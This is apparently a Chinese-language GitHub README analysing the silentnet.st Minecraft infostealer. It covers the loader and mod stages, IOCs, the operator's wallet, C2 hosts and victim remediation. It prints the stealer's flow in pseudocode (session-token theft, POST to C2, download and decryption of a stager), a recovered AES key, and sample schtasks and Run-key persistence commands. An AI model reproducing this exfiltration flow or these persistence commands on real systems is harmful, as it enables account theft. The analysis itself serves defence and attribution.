digitalforensik6/silentnet-defender
GitHub: digitalforensik6/silentnet-defender
对 silentnet.st Minecraft 信息窃取恶意软件的深度逆向分析报告,包含三阶段感染链拆解、23 条 IOC、检测规则及运营者链上追踪信息,供安全研究与执法归因使用。
Stars: 0 | Forks: 0
# silentnet-defender — 恶意软件分析报告
[](LICENSE)
[](#)
[](#-stage-1--launcherexe-rust-loader)
[](#-stage-2--modjar-java-fabric-mod)
[](#-stage-3--mainpy-python-stager-not-analyzed)
[](docs/IOCs.md)
[](#)
## 🚔 致执法部门 / 当局
本仓库是一份针对活跃的盗取 Minecraft 玩家信息的恶意软件活动的**公开逆向工程分析**。运营者通过 `silentnet.st` 以免费 Minecraft mod 为伪装来分发该恶意软件。用于归因和起诉的关键发现如下:
### 运营者钱包地址(Ethereum/Polygon — 可在链上追踪)
```
0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
```
此地址在**每次感染**中均被硬编码——运营者如果不重新构建并重新分发恶意软件,就无法更改它。每笔交易都是公开可见的:
- **Polygonscan:** https://polygonscan.com/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
- **Etherscan:** https://etherscan.io/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
**传票目标:**
1. **加密货币交易所**(接收过来自此地址资金的 Binance、Coinbase、Kraken、OKX、Bybit 等)——要求提供收款账户的 KYC 信息。使用 Chainalysis / TRM Labs / Elliptic 追踪套现流向。
2. **DDoS-Guard**(`silentnet.st` 的 CDN/边缘服务提供商)——要求提供 `silentnet.st` 运营者的账户和支付信息。
3. C2 主机的**域名注册商**(大多数是被滥用作传输通道的合法 Polygon RPC 端点——重点关注 `silentnet.st` 本身以及任何手动注册的域名)。
4. **ImprovMX**(`silentnet.st` 的邮件转发商)——要求提供账户信息。
### 硬编码的会话 UUID
```
6f4dbce8-1901-5bedcd758eac
```
每次感染中的值均相同。在 C2 的 HTTP 标头/Cookie 中用作会话标识符。与 C2 服务器日志(如已查扣)进行比对以归因感染源。
### C2 基础设施(通过 Handshake 域名解析)
C2 主机名在**运行时通过 Handshake 域名**(HNS — Handshake Naming System)进行解析,绕过了标准的操作系统 DNS 解析器。Cloudflare DoH 端点(`cloudflare-dns.com`, `1.1.1.1`)是 Handshake 查询的**传输通道**,而不是解析机制本身。实际的 `.eth`/`.hns` Handshake 域名以加密形式硬编码在 `ahf_lzk.java` 中,目前尚未被还原。
| 主机名 | 角色 |
|---|---|
| `polygon-rpc.com` | 主 C2 |
| `polygon.drpc.org` | 备用 C2 |
| `polygon-bor-rpc.publicnode.com` | 备用 C2 |
| `rpc-mainnet.matic.network` | 备用 C2 |
| `polygon.llnodes.net` | 备用 C2 |
| `1rpc.io/matic` | 备用 C2 |
| `llamarpc.com` | 备用 C2 |
### 报告
如果您是受害者或有更多信息:
- **德国:** [BKA-ZIT](https://www.bka.de/DE/IhreSicherheit/Verbraucherprevention/Onlinestrategien/Cybercrime/cybercrime_node.html) — Bundeskriminalamt, Zentralstelle für Informationstechnik im Verbund
- **美国:** [FBI IC3](https://www.ic3.gov/) — Internet Crime Complaint Center
- **英国:** [Action Fraud](https://www.actionfraud.police.uk/)
- **欧盟:** [Europol EC3](https://www.europol.europa.eu/about-europol/european-cybercrime-centre-ec3)
如果您有 `main.py`(阶段 3,在运行时下载)的样本,请通过 [GitHub Issues](../../issues) 分享——使用密码 `infected` 进行 zip 压缩并上传至 [MalwareBazaar](https://bazaar.abuse.ch/),然后在此发布链接。
## 📖 目录
- [致执法部门](#-for-law-enforcement--authorities)
- [什么是 silentnet.st?](#-what-is-silentnetst)
- [恶意软件阶段](#-malware-stages-quick-view)
- [阶段 1:Launcher.exe](#-stage-1--launcherexe-rust-loader)
- [阶段 2:mod.jar](#-stage-2--modjar-java-fabric-mod)
- [阶段 3:main.py](#-stage-3--mainpy-python-stager-not-analyzed)
- [IOC 一览](#-iocs-at-a-glance)
- [完整恶意软件分析](#-full-malware-analysis)
- [持久化分析](#-persistence-analysis--what-launcherexe-does-not-do)
- [源代码(参考)](#-source-code-reference)
- [负责任的披露](#-responsible-disclosure--law-enforcement)
- [许可证](#-license)
## 🦠 什么是 silentnet.st?
`silentnet.st` 是一个以免费 Minecraft mod / 整合包为伪装,分发**信息窃取恶意软件**的网站。此感染链包含三个组件:
| 组件 | 文件 | 角色 |
|---|---|---|
| **阶段 1 — Loader** | `Launcher.exe` | Rust 编译的 Windows x64 二进制文件。使用原生 `WS2_32` socket,通过 `Crypt32` 枚举系统证书存储,并在 classpath 中带上 `mod.jar` 启动 `javaw.exe`。 |
| **阶段 2 — Mod / Beacon** | `mod.jar` | Java 21 Minecraft Fabric mod。窃取 Minecraft 会话(用户名、UUID、访问 token),通过 Handshake 域名解析 C2,并 POST 到伪装成 Polygon-RPC 的 C2 端点。 |
| **阶段 3 — Stager** | `main.py`(运行时下载) | 通过 HTTPS 从 C2 获取的 Python 脚本。可能执行实际的浏览器 Cookie / 钱包窃取操作。**在本仓库中未被分析**,因为它是动态获取的——我们只拥有获取它的 loader。 |
**窃取内容(从逆向工程中还原):**
- Minecraft 用户名 + UUID + 会话访问 token(使攻击者无需密码即可获得完整的账户访问权限)
- Minecraft `latest.log` 文件(可能包含聊天记录、服务器 IP、会话信息)
- 可能还有浏览器 Cookie / 已保存密码 / 加密钱包——由阶段 3 的 Python stager 负责处理(此处未作分析)
**通信方式:**
- **C2 传输:** HTTPS POST 到 7 个伪装成 Polygon-RPC 的主机名之一(`polygon-rpc.com`, `polygon.drpc.org`, `polygon-bor-rpc.publicnode.com`, …)。
- **DNS 解析:** C2 主机名通过 **Handshake 域名**(HNS — Handshake Naming System)解析。该窃取软件查询支持 Handshake 的 DoH 解析器(观察到:使用 `cloudflare-dns.com/dns-query?dns=` 及 `1.1.1.1/dns-query?dns=` 作为备用传输),以解析映射到实际 C2 IP 的 `.eth`/`.hns` 风格的 Handshake 域名。Handshake 域名本身在字节码中以加密形式硬编码(尚未还原)。这**完全绕过了操作系统的 DNS 解析器**——Pi-hole、NextDNS、企业 DNS 日志记录和路由器 DNS 黑名单在面对它时都形同虚设。
- **TLS:** 自定义 Java `SSLSocket` 客户端,带有 **null `X509TrustManager`**——接受任何证书,甚至是自签名证书。完全避免使用 `HttpURLConnection` 和 OkHttp;不使用代理设置,也没有标准的 user-agent。
- **加密:** 使用 AES(通过 `javax.crypto.Cipher`)解密下载的阶段 3 的 stager。
## 🧬 恶意软件阶段(快速预览)
```
┌──────────────────────────────────────────────────────────────────────────────┐
│ INFECTION CHAIN │
└──────────────────────────────────────────────────────────────────────────────┘
[Victim downloads "free mod" from forum/Discord]
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: Launcher.exe (Rust, 1.1 MB) │
│ ───────────────────────────────────────────────────────────────────────── │
│ • Uses raw WS2_32 sockets (no WinHTTP) │
│ • Enumerates system certificate store via Crypt32 (likely for pinning bypass)│
│ • Calls CreateProcessW("javaw.exe -cp mod.jar -restarted --env ... │
│ --mcInfo --prefireId ") │
│ • Writes _spawn.log to %LOCALAPPDATA% │
│ • NO persistence (run-once loader — see persistence analysis below) │
└──────────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: mod.jar (Java 21 Fabric mod, 86 KB, 4 obfuscated classes) │
│ ───────────────────────────────────────────────────────────────────────── │
│ Fabric entrypoint lpofmCyyJlAk.onInitialize() spawns a background thread: │
│ │
│ 1. Read Minecraft session: │
│ class_320 session = MinecraftClient.getInstance().getSession(); │
│ username = session.getUsername(); │
│ uuid = session.getUuid(); │
│ token = session.getSessionUuid(); // ← access token │
│ │
│ 2. Resolve C2 via Handshake domain (gGfuKbYTQc.RMCEkzikFw): │
│ - Query Handshake-aware resolver for the .eth/.hns C2 domain │
│ - Fallback DoH transport: cloudflare-dns.com/dns-query?dns= │
│ OR 1.1.1.1/dns-query?dns= (direct IP, can't be DNS-blocked) │
│ - Parse response, extract A record IP │
│ - Cache IP for Kmxbl ms │
│ → bypasses OS DNS resolver, Pi-hole, NextDNS, router blocklists │
│ │
│ 3. POST registration to C2 (ahf_lzk class): │
│ POST https:///shard/prefireMc │
│ Content-Type: application/json │
│ X-Runtime-Env: jre-embedded │
│ x-cdn-origin-verify: │
│ { │
│ "mcInfo": "", │
│ "prefireId": "", │
│ "userId": "", │
│ "tag": "", │
│ "domain": "", │
│ "gameDir": "", │
│ "mcUuid": "", │
│ "env": "Fabric" │
│ } │
│ │
│ 4. C2 responds with a payload URL. Stealer downloads + AES-decrypts: │
│ GET https:///cdn/e/3b8f6d2a9c1e... │
│ → main.py (Stage 3 Python stager) │
│ → jre-embedded (portable JRE so it doesn't need Java installed) │
│ │
│ 5. Spawn Stage 3: │
│ python.exe main.py --env --mcInfo --prefireId │
│ → writes _stealer.log │
│ │
│ 6. Exfiltrate Minecraft log: │
│ POST https:///shard/submitMinecraftLog │
│ { │
│ "userId": "", │
│ "filename": "combined.log", │
│ "mcUsername": "", │
│ "mcUuid": "", │
│ "executionEnv": "" │
│ } │
└──────────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: main.py (Python, downloaded at runtime — NOT analyzed here) │
│ ───────────────────────────────────────────────────────────────────────── │
│ • Likely performs the actual browser-cookie / wallet theft │
│ • Runs inside the portable JRE so it doesn't depend on the user's Python │
│ • We don't have a sample of main.py — only the Stage 1/2 code that fetches │
│ it. If you have a sample, please submit it via GitHub Issues. │
└──────────────────────────────────────────────────────────────────────────────┘
```
有关完整的技术分析(包括反编译的 Java 代码片段、字节级的 Handshake 解析协议分解、数据外发 payload 以及解密密钥还原),请参阅 **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)**。
## 🧩 阶段 1 : Launcher.exe (Rust loader)
### 静态属性
| 属性 | 值 |
|---|---|
| 文件大小 | 1,138,688 B (1.1 MB) |
| 格式 | PE32+ (x64), Windows GUI 子系统 |
| 编译器 | Rust (stable) + MinGW LLVM linker |
| 节区 | `.text`, `.rdata`, `.data`, `.pdata`, `.CRT`, `.tls`, `.reloc` |
| 导入表 | `ntdll.dll` (10 fns), `KERNEL32.dll` (24 fns), `ADVAPI32.dll` (4 fns), `CRYPT32.dll` (3 fns), `WS2_32.dll` (7 fns) |
| 入口点 | `0x140001000` |
### 导入函数(重要部分)
- **`ntdll.dll`:** `NtClose`, `NtCreateFile`, `NtDeviceIoControlFile`, `NtLockFile`, `NtQueryObject`, `NtSetInformationFile`, `RtlEqualUnicodeString`, `RtlExitUserProcess`, `RtlGetFullPathName_U`, `RtlWaitOnAddress`
- **`KERNEL32.dll`:** `CreateProcessW`, `GetExitCodeProcess`, `WaitForSingleObject`, `VirtualAlloc`, `VirtualFree`, `GetDiskFreeSpaceExW`, `GlobalMemoryStatusEx`, `GetSystemInfo`, `SetEnvironmentVariableA`, `GetFileAttributesW`, `MoveFileW`, `ReadFile`, `WriteFile`
- **`ADVAPI32.dll`:** `RegOpenKeyExA`, `RegQueryValueExA`, `RegCloseKey`, `SystemFunction036` (= `RtlGenRandom`)
- **`CRYPT32.dll`:** `CertOpenSystemStoreW`, `CertEnumCertificatesInStore`, `CertCloseStore`
- **`WS2_32.dll`:** `WSAStartup`, `WSASocketW`, `connect`, `getaddrinfo`, `freeaddrinfo`, `closesocket`, `WSAGetLastError`
### 行为(还原分析)
1. 从 `HKLM\Hardware\Description\System\CentralProcessor\0` 读取 CPU 信息(指纹识别——该注册表路径在运行时经过了 XOR 解混淆)
2. 启动 `javaw.exe -cp mod.jar -restarted --env --mcInfo --prefireId `
3. 通过 `MoveFileW` 移动文件(可能是为了解压便携版 JRE)
4. 通过 `SetEnvironmentVariableA` 设置 `java.home` 环境变量
5. 将 `_spawn.log` 写入 `%LOCALAPPDATA%`
6. 通过 `WS2_32` 打开原生 TCP socket(下载阶段 3 的 stager)
7. 通过 `Crypt32` 枚举系统证书存储(可能用于绕过 TLS pinning)
8. 通过 `ExitProcess` 退出
有关完整的反汇编层面的分析,请参阅 [docs/MALWARE_ANALYSIS.md §2](docs/MALWARE_ANALYSIS.md)。
## 🧩 阶段 2 : mod.jar (Java Fabric mod)
### 静态属性
| 属性 | 值 |
|---|---|
| 文件大小 | 86,724 B (压缩后) / 118,093 B (解压后) |
| 格式 | JAR (ZIP) |
| Java 版本 | 21+ (根据 `fabric.mod.json` `"java": ">=21"`) |
| Fabric Loader | 0.18.4+ |
| Minecraft 版本 | 1.21.11 (根据清单文件) |
| 混淆器 | 自定义 — XOR 字符串混淆 + 无用的垃圾分支 + 随机类名 |
### 混淆的类名
| 类 | 角色 |
|---|---|
| `com.github.lpofmCyyJlAk` | Fabric 入口点 — `onInitialize()` 启动窃取程序线程 |
| `com.github.gGfuKbYTQc` | HTTP 客户端 + Handshake 域名解析器(`RMCEkzikFw` 方法) |
| `com.github.ahf_lzk` | C2 调度器 — 构建注册 JSON,下载并 AES 解密阶段 3 |
| `com.github.CJcoV` | Launcher 辅助类(在 MANIFEST.MF 的 `Main-Class` 中被引用) |
### 混淆方案
所有 178 个字符串字量都被编码为带长度前缀的循环 XOR 数据块:
```
[1 byte: key length N] [N bytes: key] [rest: ciphertext, XORed cyclically with key]
```
使用 `decoded[i] = cipher[i] ^ key[i % N]` 解码。钱包地址被拆分成 **3 个独立的数据块**,并通过 `StringBuilder.append()` 进行拼接:
| 数据块 | 解码后 | 十六进制字符数 |
|---|---|---|
| 1 | `0x9c0a507300fd` | 12 |
| 2 | `902787bb193d80f` | 15 |
| 3 | `ca5ce6e1bff9a` | 13 |
| **总计** | **`0x9c0a507300fd902787bb193d80fca5ce6e1bff9a`** | **40** |
有关完整的逐类详细分解,请参阅 [docs/MALWARE_ANALYSIS.md §3](docs/MALWARE_ANALYSIS.md)。
## 🧩 阶段 3 : main.py (Python stager,未分析)
阶段 3 在运行时从 `https:///cdn/e/3b8f6d2a9c1e...` 下载。响应数据经过 AES 加密,并使用密钥 `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA`(从字节码中还原)在客户端进行解密。
我们**没有** `main.py` 的样本。如果您获取到了样本,请通过 [GitHub Issues](../../issues) 分享(使用密码 `infected` 进行 zip 压缩,上传至 [MalwareBazaar](https://bazaar.abuse.ch/),并在此发布链接)。
## 🎯 IOC 一览
### C2 端点(HTTPS,端口 443)— 通过 Handshake 域名解析
| 主机名 | 角色 |
|---|---|
| `polygon-rpc.com` | 主 C2 |
| `polygon.drpc.org` | 备用 C2 |
| `polygon-bor-rpc.publicnode.com` | 备用 C2 |
| `rpc-mainnet.matic.network` | 备用 C2 |
| `polygon.llnodes.net` | 备用 C2 |
| `1rpc.io/matic` | 备用 C2 |
| `llamarpc.com` | 备用 C2 |
### C2 API 路径
| 路径 | 方法 | 用途 |
|---|---|---|
| `/shard/prefireMc` | POST | 初始受害者 check-in(发送会话 + gameDir) |
| `/shard/submitMinecraftLog` | POST | 窃取 Minecraft `latest.log` 文件 |
| `/cdn/e/3b8f6d2a9c1e...` | GET | 阶段 3 stager 下载(AES 加密的 `main.py` + 便携版 JRE) |
### Handshake 域名解析器(绕过 DNS)
| 端点 | 用途 |
|---|---|
| `https://cloudflare-dns.com/dns-query?dns=` | 支持 Handshake 的 DoH 解析器(HNS 查询的传输通道) |
| `https://1.1.1.1/dns-query?dns=` | DoH 直接 IP 备用(无法通过 DNS 屏蔽) |
### 硬编码的标识符
| 标识符 | 类型 | 出现位置 |
|---|---|---|
| `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` | Ethereum 钱包地址 | 硬编码在 `ahf_lzk.java` 中(C2 调度器)。用作运营者的身份标识 / 支付地址。**可在 Polygonscan 上追踪。** |
| `6f4dbce8-1901-5bedcd758eac` | 会话 UUID v4 | 硬编码在 `ahf_lzk.java` 中。在 HTTP 标头 / Cookie 中用于 C2 身份验证。 |
| `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA` | AES 解密密钥 | 被 `ahf_lzk` 用于 AES 解密下载的 `main.py` 和 `jre-embedded`。 |
### 运行时产物(取证)
| 文件 | 位置 | 用途 |
|---|---|---|
| `_spawn.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 1 launcher 日志 |
| `_stealer.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 2 窃取程序运行时日志 |
| `latest.log` | `/logs/` | Minecraft 客户端日志 — 被外发至 C2 |
| `main.py` | `%LOCALAPPDATA%\...\` | 阶段 3 Python stager(已下载) |
| `jre-embedded/` | `%LOCALAPPDATA%\...\` | 便携版 JRE(已下载) |
### 进程派生特征
| 进程 | 命令行特征 |
|---|---|
| `Launcher.exe` | (派生 `javaw.exe`) |
| `javaw.exe` | `-cp -restarted --env --mcInfo --prefireId ` |
| `python.exe` | `main.py --env --mcInfo --prefireId ` |
## 📚 完整恶意软件分析
完整的逆向工程报告——包括反编译的 Java 源码片段、字节级的 Handshake 解析协议分解、AES 密钥还原方法、阶段 3 下载机制以及检测特征——位于:
➡️ **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)**
### 检测规则
- **YARA 规则**(端点):[docs/YARA_RULES.yar](docs/YARA_RULES.yar) — 检测 `Launcher.exe`(Rust TLS 字符串 + ntdll 导入)和 `mod.jar`(Fabric 清单 + 混淆的类名 + Handshake 解析字符串)。
- **Snort / Suricata 规则**(网络):[docs/SNORT_RULES.conf](docs/SNORT_RULES.conf) — 检测来自非浏览器进程发往 `cloudflare-dns.com` 的 Handshake 解析流量,以及匹配 C2 路径的流量。
## 🔍 持久化分析 — `Launcher.exe` 没有做的事
一个常见的问题是:*“如果我被感染了,恶意软件隐藏在哪里?”* 我们逐条反汇编了 `Launcher.exe`(阶段 1,Rust loader)的指令,并确认了它使用了以及未使用的持久化机制。
### `Launcher.exe` 未包含的导入函数
| 机制 | 所需 API | 是否存在? |
|---|---|---|
| 注册表写入(自启动) | `RegSetValueExA`, `RegCreateKeyExA` | ❌ 未导入 |
| 创建 Windows 服务 | `CreateService`, `OpenSCManager` | ❌ 未导入 |
| 计划任务(COM) | `CoCreateInstance` + `ITaskService` | ❌ 未导入 |
| 计划任务(CLI) | `schtasks.exe` 字符串 | ❌ 不在任何字符串中 |
| WMI 订阅 | `WbemScripting.SWbemLocator` | ❌ 未导入 |
| 启动文件夹写入 | Shell-API 调用 | ❌ 未导入 |
### `Launcher.exe` 实际做了什么
| API 调用 | 用途 |
|---|---|
| `RegOpenKeyExA(HKLM, "HARDWARE\DESCRIPTION\System\CentralProcessor\0")` | 读取 CPU 名称(指纹识别,非持久化) |
| `CreateProcessW("javaw.exe -cp mod.jar ...")` × 2 | 派生阶段 2(带有恶意 mod 的 JVM) |
| `MoveFileW(...)` × 1 | 可能是将下载的便携版 JRE 移动到位 |
| `SetEnvironmentVariableA` × 2 | 在派生 JVM 之前设置 `java.home` 等 |
| `WriteFile` | 写入 `_spawn.log`(其自身的运行时日志) |
| `ReadFile` | 读取下载的 payload |
| `WSAStartup` + `WSASocketW` + `connect` | 打开原生 TCP socket(下载阶段 3 的 stager) |
| `CertOpenSystemStoreW` + `CertEnumCertificatesInStore` | 枚举系统证书存储(可能用于绕过 TLS pinning) |
### 持久化实际上位于何处
`Launcher.exe` 本身是一个**一次性 loader**——它本身并不会进行持久化安装。持久化来自于以下两个地方:
1. **`mod.jar` 留在 `.minecraft\mods\` 中**——每次受害者启动 Minecraft 时,Fabric loader 都会加载该 mod,然后窃取程序就会再次运行。这是通过合法的 mod 加载机制实现的“文件持久化”。要清除它:请从 mods 文件夹中删除 `mod.jar`。
2. **阶段 3 (`main.py`) 可能会安装真正的 Windows 持久化**——当 `Launcher.exe` 从 C2 下载 `main.py` 并派生 `python.exe main.py` 时,Python stager 有权访问 `subprocess.run()`、`os.system()`、`winreg`、`shutil` 等。我们没有 `main.py` 样本来确认这一点,但典型的 Python 窃取程序的持久化方式会是:
- `subprocess.run('schtasks /create /tn "JavaUpdate" /tr "python.exe main.py" /sc onlogon')` — 登录时的计划任务
- `winreg.SetValueEx(HKCU\...\Run, "JavaUpdate", "pythonw.exe main.py")` — 注册表 Run 键
- 在 `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\` 中释放一个 `.lnk` — 启动文件夹
## 💻 源代码(参考)
`src/` 目录包含我们在分析期间编写的 IOC 扫描程序的**参考实现**。它是一个零导入的 Windows x64 EXE,使用直接系统调用(Hells Gate)扫描正在运行的进程、注册表自启动键以及文件系统持久化位置,以查找本仓库中记录的 IOC。
有关设计原理和系统调用列表,请参阅 [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md)。
## 🚔 负责任的披露与执法部门
### 致受害者
如果您运行了 `Launcher.exe` / `mod.jar`:
1. **立即更改您的 Microsoft / Minecraft 密码。** 如果您尚未启用,请开启双重认证(2FA)。
2. 在 https://account.microsoft.com/security **撤销所有活跃的会话**
3. **删除** `%LOCALAPPDATA%\_spawn.log`、`%LOCALAPPDATA%\_stealer.log`、`%LOCALAPPDATA%\jre-embedded\` 以及您 Minecraft `mods/` 文件夹中的 `mod.jar`。
4. 使用 Microsoft Defender(或您首选的杀毒软件)**进行一次全面扫描**。
5. **检查您的浏览器已保存密码**和加密钱包——阶段 3 的 Python stager 很可能也窃取了这些内容。轮换任何您不确定的凭据。
### 致执法部门
请参阅本 README 顶部的 [**致执法部门**](#-for-law-enforcement--authorities) 部分,获取完整的线索摘要(钱包地址、会话 UUID、C2 基础设施、传票目标)。
### 报告
如果您有:
- `main.py`(阶段 3)的样本——请通过 GitHub Issues 分享(zip 压缩并加密码保护,密码 = `infected`)。
- 新的 IOC(额外的 C2 主机名、路径、标识符)——请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
- 关于运营者的信息——请联系当地执法机构的网络犯罪部门。
## 📄 许可证
MIT — 详见 [LICENSE](LICENSE)。
IOC 列表、YARA 规则和 Snort 规则属于公有领域(CC0)——您可以随意将它们复制到您的 EDR / SIEM / 防火墙配置中,无需注明出处。
**恶意软件样本本身(`Launcher.exe`、`mod.jar`、`main.py`)不受本仓库中任何许可证的保护**——它们并未被包含在内。如果您通过其他渠道获取了样本,您有责任根据当地法律对其进行处理。
## 🙏 致谢
- **CFR** Java 反编译器 — 用于反编译 `mod.jar`。https://github.com/leibnitz27/cfr
- **llvm-mingw** 工具链 — 用于交叉编译参考扫描程序。https://github.com/mstorsjo/llvm-mingw
- **Polygonscan** — 公开的 Polygon 区块链浏览器,验证钱包地址是否处于活跃状态。
- **Hells Gate / Halo's Gate** — 参考扫描程序使用的公开 SSN 解析技术。
### ⚖️ 伦理使用
本项目是一份**防御性安全研究 / 恶意软件分析报告**。使用它来:
- ✅ 检测和清理您自己系统上的感染
- ✅ 向安全社区贡献 IOC
- ✅ 协助执法部门归因恶意软件运营者
- ✅ 学习恶意软件内部原理和防御技术
**请勿**将其用于:
- ❌ 分发恶意软件样本(我们没有,您也不应该)
- ❌ 攻击不属于您的系统
- ❌ 在此分析基础上构建攻击性工具
标签:DAST, DNS 反向解析, IP 地址批量处理, JS文件枚举, 云资产清单, 入侵指标, 可视化界面, 威胁情报, 开发者工具, 恶意软件分析, 网络信息收集, 规则检测, 逆向工具, 逆向工程